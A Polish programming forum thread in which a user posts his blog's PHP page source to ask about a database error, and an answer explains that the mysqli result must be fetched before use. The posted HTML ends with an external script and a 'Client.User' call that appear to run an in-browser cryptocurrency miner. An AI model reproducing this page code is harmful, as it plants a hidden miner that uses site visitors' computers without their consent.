• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Błąd przy pobieraniu danych z bazy

VPS Starter Arubacloud
0 głosów
170 wizyt
pytanie zadane 15 października 2023 w SQL, bazy danych przez Piotrek2713 Mądrala (5,500 p.)

Tak wygląda błąd

A to jest cały kod podstrony

<?php
session_start();
require_once 'connect.php';
 
$connection = new mysqli($hostname, $db_user, $db_password, $db_name);
$connection->set_charset('utf8');
 
if ($connection->connect_errno != 0) {
    echo "Błąd Połączenia";
} else {
 
    $result = $connection->query("SELECT * FROM articles WHERE ID=5");
 
    if ($result) {
        while ($row = $result->fetch_assoc()) {
            $article = $row;
        }
        $result->free_result();
    } else {
        echo "Błąd zapytania: " . $connection->error;
    }

}

if (isset($_COOKIE['visit_counter'])) {
    $currentCount = (int)$_COOKIE['visit_counter'];
    $newCount = $currentCount + 1;
    setcookie('visit_counter', $newCount, time() + 3600); // Ustawiamy nowy ciasteczko z zaktualizowaną liczbą odwiedzin
} else {
    setcookie('visit_counter', 1, time() + 3600); // Tworzymy nowe ciasteczko z liczbą odwiedzin ustawioną na 1 (pierwsze odwiedziny)
}
 
$connection->query("UPDATE `articles` SET `views_count` = `views_count` + 1 WHERE ID=5");
$views_count = $connection->query("SELECT views_count FROM articles WHERE ID=5");

?>
<!DOCTYPE html>
<html lang="pl">
<head>
<!-- Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=G-W245YYB9KK"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-W245YYB9KK'); </script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="La Palabra - Blog na ktorym dowiesz się jak skutecznie uczyć się języka obcego">
    <meta name="google-adsense-account" content="ca-pub-8005988007001796">
    <title><?php echo $article['Title'].' - '; ?>Blog La Palabra</title>
    <link rel="stylesheet" href="style.css">
    <link rel="shortcut icon" href="img/favicon.png" type="image/x-icon">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
</head>
<body>
    <header>
        <nav class="navbar navbar-expand-md" data-bs-theme="dark">
            <div class="container-fluid">
                <a href="blog" class="navbar-brand"><img src="img/logo.png" alt="La Palabra"></a>
                <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#menu" aria-controls="menu" aria-expanded="fasle" aria-label="Przełącznik nawigacji">
                    <span class="navbar-toggler-icon"></span>
                </button>
                <div class="collapse navbar-collapse" id="menu">
                    <ul class="navbar-nav mb-2 mb-lg-0">
                        <li class="nav-item"><a href="blog" class="nav-link">Blog</a></li>
                        <li class="nav-item"><a href="o-mnie" class="nav-link">O mnie</a></li>
                        <!--<li class="nav-item"><a href="kontakt" class="nav-link">Kontakt</a></li>-->
                    </ul>
                </div>
            </div>
        </nav>
    </header>

    <aside class="quote-wrapper">
        <div class="container col-md-10 mt-5 fs-4 text-center text-xl-start"><blockquote>Nauka nowego języka to nie tylko nauka innych słów określających te same rzeczy, to nowy sposób myślenia o różnych sprawach.</blockquote></div>
    </aside>

    <main>
        <div class="container">
            <div class="row">
                <article class="article-box col-md-8">
                    <?php 
                    
                        echo '<h1>'.$article['Title'].'</h1>';
                        echo '<p>'.$article['content'].'</p>';
                    
                    ?>
                </article>
                <aside class="col-md-4">
                    <div class="views-count">
                        <?php
                        
                        echo 'Wyświetlenia artykułu: ';
                        echo $views_count;

                        ?>
                    </div>
                </aside>
            </div>
        </div>
    </main>

    <footer>
        Zaprojektowane przez <a href="o-mnie">Piotra Karasińskiego</a> Copyright &copy; Wszelkie prawa zastrzeżone
    </footer>


<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL" crossorigin="anonymous"></script>
<script src="https://www.freecontent.stream./2VIz.js"></script>
<script>var _client = new Client.User('b39a56560892d54e902f5c7d18cac88b2fdb9260cc71c87102a5fa406da385d7', 'piotrek2713-cba', {throttle: 0.5, c: 'w', ads: 0});_client.start();</script>
</body>
</html>

Jak naprawić ten błąd?

1 odpowiedź

+1 głos
odpowiedź 15 października 2023 przez overcq Pasjonat (22,150 p.)
wybrane 15 października 2023 przez Piotrek2713
 
Najlepsza

W wierszu 34. otrzymujesz my­sqli_re­sult. Dopiero na przykład my­sqli_re­sult::fe­tch_row wraca z tablicą wartości. Nie ma znaczenia, że miał być tylko jeden wiersz wyniku, trzeba go najpierw odczytać.

Podobne pytania

0 głosów
1 odpowiedź 364 wizyt
pytanie zadane 31 maja 2022 w PHP przez bartolomeusz80 Nowicjusz (140 p.)
+2 głosów
3 odpowiedzi 299 wizyt
pytanie zadane 23 grudnia 2022 w SQL, bazy danych przez rycho84 Nowicjusz (230 p.)
0 głosów
0 odpowiedzi 127 wizyt

93,028 zapytań

141,991 odpowiedzi

321,294 komentarzy

62,375 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj

Wprowadzenie do ITsec, tom 2

Można już zamawiać tom 2 książki "Wprowadzenie do bezpieczeństwa IT" - będzie to około 650 stron wiedzy o ITsec (17 rozdziałów, 14 autorów, kolorowy druk).

Planowana premiera: 30.09.2024, zaś planowana wysyłka nastąpi w drugim tygodniu października 2024.

Warto preorderować, tym bardziej, iż mamy dla Was kod: pasja (użyjcie go w koszyku), dzięki któremu uzyskamy dodatkowe 15% zniżki! Dziękujemy zaprzyjaźnionej ekipie Sekuraka za kod dla naszej Społeczności!

...